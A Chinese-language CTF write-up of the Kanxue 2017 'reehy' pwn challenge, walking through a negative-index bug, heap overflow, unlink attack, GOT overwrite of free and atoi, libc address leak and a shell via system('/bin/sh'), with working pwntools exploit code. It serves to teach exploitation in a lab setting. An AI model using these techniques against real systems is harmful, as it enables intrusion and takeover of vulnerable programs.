在那个只有零和一的世界里,对零的向往,终究是一的执着。

正在下载:pwn-reehy-main.zip 看雪CTF2017学习记录整理系列2

程序功能分支

接着就开始找这3个主要函数的漏洞,先看创建节点的函数create,理解存储节点的大致流程:

代码流程

上面代码新建的节点最后被保存到一个处于.bss段的全局数组列表里了,每个元素存储一个对应的堆地址,紧跟着后面的一个QWORD对应存储了其使用标志位g_flag_list[i]

节点存储数组

而对应的节点size保存在另外一个列表里,这个列表是在程序一开始时申请的堆内存里,大小为0x14,意味着预定保存5个节点的size,列表的地址保存在一个全局变量g_size_list里,同样位于.bss段里较前面的位置:

节点size数组

既然列表预定存储5个节点,我们先看看是否有漏洞“越界”,发现输入索引调用的函数“input_number”可以利用:

转化数字

这里调用atoi函数将用户输入的字符转换为数字,返回为无符号整型数,而上层调用的接收变量定义却为整型数,于是可以输入一个负数直接造成数组“向上”越界,索引到g_node_list前面(低地址)的“负元素”。这个漏洞有什么用呢,因为g_size_list正好在g_node_list的前面位置(索引为-2),所以可以将其进行修改,填充一些大值,使得原本已经创建的节点堆块的size“无形”中变大,造成在后面编辑节点时可以进行堆溢出:


#create smallbins list
size = 0x80
for i in range(0, 2):
    create(size, i, chr(ord('a') + i) * size)
#change g_size_list to expand heap size to overflow
create(size, -2, chr(ord('a') + 2) * size)

此时已具备堆溢出的条件,对0号节点进行编辑可以覆盖到1号节点所属的堆块范围,于是我们进行unlink方式的堆利用,在0号节点堆块的buf伪造好一块“已释放”的前堆块,然后覆盖1号节点堆块的pre_size头和当前size头里的前块使用标志pre_inuse,使得在释放1号节点堆块的时候认为前块堆块空闲要进行合并触发unlink操作,相关具体原理请自行查阅资料,这里贴一下本题的操作:


#unlink exp to rewrite g_node_list[0] to fd(g_node_list - 0x18)
#1st chunk buf to fake_chunk
g_node_list = 0x6020e0
p = g_node_list + 0x0
fd = p - 0x18
bk = p - 0x10
payload = ""
payload += p64(0) + p64(0x81) + p64(fd) + p64(bk)
payload += "A" * (0x80 - 4 * 8)
#2nd chunk 
payload += p64(0x80) + p64(0x90)
edit(0, payload)
#unlink
delete(1)
print 'unlink sucess!Now: g_node_list[0] = g_node_list - 0x18'

成功执行完unlink操作后的结果就是,0号节点的地址g_node_list[0]被修改成被伪造堆块的fd指针,也就是“g_node_list - 0x18”的位置,这样意味着,0号节点不再指向堆块,而是指向的.bss段的地址:

unlink结果

此时我们对0号节点进行编辑,就会再次覆盖到0号节点的地址位置,将其修改成地址更前面,可控范围更大的地方:


#edit g_node_list[0] to rewrite g_node_list[0] to control more big range data
g_node_list0 = g_node_list - 0x30
edit(0, p64(1) + p64(0) + p64(1) + p64(g_node_list0) + p64(1))
print 'rewrite g_node_list0 to expand range'

这样一来,编辑范围扩大到也覆盖到了g_size_list了,于是我们可以再次编辑,来修改g_size_list(这里我选择改成got表中间项,前后的数据足够大),以便后面引用“负节点”时对应的size够用,顺便把需要的一些地址放置到某些“负节点”上:


#edit g_node_list[0] to rewrite g_size_list to a pointer which(@got addr mid) can expand the g_node_list[i] size, then put free@got to g_node_list[-3] and atoi@got to g_node_list[-1]
got_free = 0x602018
got_atoi = 0x602058
got_addr_mid = 0x602038
edit(0, p64(got_free) + p64(1) + p64(got_addr_mid) + p64(1) + p64(got_atoi) + p64(1) + p64(g_node_list0) + p64(1))
print 'rewite g_size_list and put free@got to g_node_list[-3] and atoi@got to g_node_list[-1]'

通过这样搭配修改g_size_list和负节点指针数据,基本上可以实现任意地址写的功能,从而可以将-3号的节点存放的free@got指针,编辑为puts@plt,这样后面调用free时能够劫持程序跳转到puts函数去执行打印操作,泄漏任意地址的数据,如泄漏atoi@got的数据得到atoi的函数地址,从而根据提供的libc文件中函数偏移量可以计算出system函数的地址:


#edit g_node_list[-3] to rewrite free@got to puts@plt, the delete g_node_list[-1] to leak atoi address and calc the address of system
plt_puts = pwnfile.plt['puts']
edit(-3, p64(plt_puts), False)
print 'rewrite free@got to puts@plt'
leak = delete(-1, True)
print 'leak the content of atoi@got'
addr_atoi = u64(leak[1:7].ljust(8, '\x00'))
addr_system = addr_atoi + offset
print 'addr_atoi : %08x' % addr_atoi
print 'addr_system : %08x' % addr_system

其实,因为可以泄漏任意地址的数据,完全可以写一个leak函数,再使用pwntools的工具库DynELF来泄漏system函数的地址,而不必要提供libc文件(可能提供libc文件有其他的意思,比如unlink的check版本),这里因为时间关系暂不演示了。

而拿到system地址后就简单了,用同样的手法编辑一下atoi@got,改成system的地址,传入参数“/bin/sh\x00”,成功getshell:


#edit g_node_list[0] to put atoi@got to g_node_list[-3] (because g_node_list[-1] have been free the the flag is 0), then edit g_node_list[-3] to rewrite atoi@got to system adress and finally get shell
edit(0, p64(got_atoi) + p64(1) + p64(got_addr_mid) + p64(1) + p64(got_atoi) + p64(1) + p64(g_node_list0) + p64(1))
print 'reput atoi@got to g_node_list[-3]'
edit(-3, p64(addr_system), False)
print 'rewrite atoi@got to system address'
target.sendline("/bin/sh\x00")
target.interactive()  

本地实验成功后,指定好远程libc的偏移,切换远程target,拿flag:

flag